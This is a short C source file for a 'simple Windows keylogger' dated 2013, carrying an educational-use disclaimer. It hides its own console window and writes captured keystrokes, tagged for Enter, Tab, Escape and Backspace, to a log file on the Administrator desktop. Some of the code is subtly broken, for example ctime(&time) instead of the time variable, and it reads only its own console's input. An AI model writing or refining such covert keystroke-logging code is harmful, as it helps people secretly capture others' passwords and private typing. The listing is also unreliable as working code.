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- /*
- Simple WINDOWS keylogger by jkrix 2013.
- User may distribute and modify source code but MUST keep this top commented section in the source code!
- Very important note:
- To be used for educational use and not for malicious tasks!
- I will NOT be held responsible for anything silly you may do with this!
- */
- #include <stdio.h>
- #include <conio.h>
- #include <windows.h>
- #include <time.h>
- #define PATH "C:/Users/Administrator/Desktop/test-log.txt" // The path to the log file
- int main(){
- char capture;
- FILE *file;
- // Time stuff.
- time_t t;
- t = time(NULL);
- // Hide the window
- HWND window;
- AllocConsole();
- window=FindWindowA("ConsoleWindowClass",NULL);
- ShowWindow(window,0);
- file = fopen(PATH, "a+");
- fprintf(file, "\n#$Logger: Written by jkrix. Started logging @ %s", ctime(&time));
- while(1)
- {
- Sleep(20); // To make sure this program doesn't steal all resources.
- if (kbhit())
- {
- capture = getch();
- // Just add in some helper strings here to the file, feel free to modify these to your needs.
- switch ((int)capture){
- case ' ': // Space key...obviously.
- fprintf(file, " ");
- break;
- case 0x09: // Tab key.
- fprintf(file, "[TAB]");
- break;
- case 0x0D: // Enter key.
- fprintf(file, "[ENTER]");
- break;
- case 0x1B: // Escape key.
- fprintf(file, "[ESC]");
- break;
- case 0x08: // Backspace key.
- fprintf(file, "[BACKSPACE]");
- break;
- default:
- fputc(capture,file); // Put any other inputted key into the file.
- }
- if ( (int) capture == 27 ){ // The escape key. You can change this to anything you want.
- fclose(file);
- return 0;
- }
- }
- }
- }
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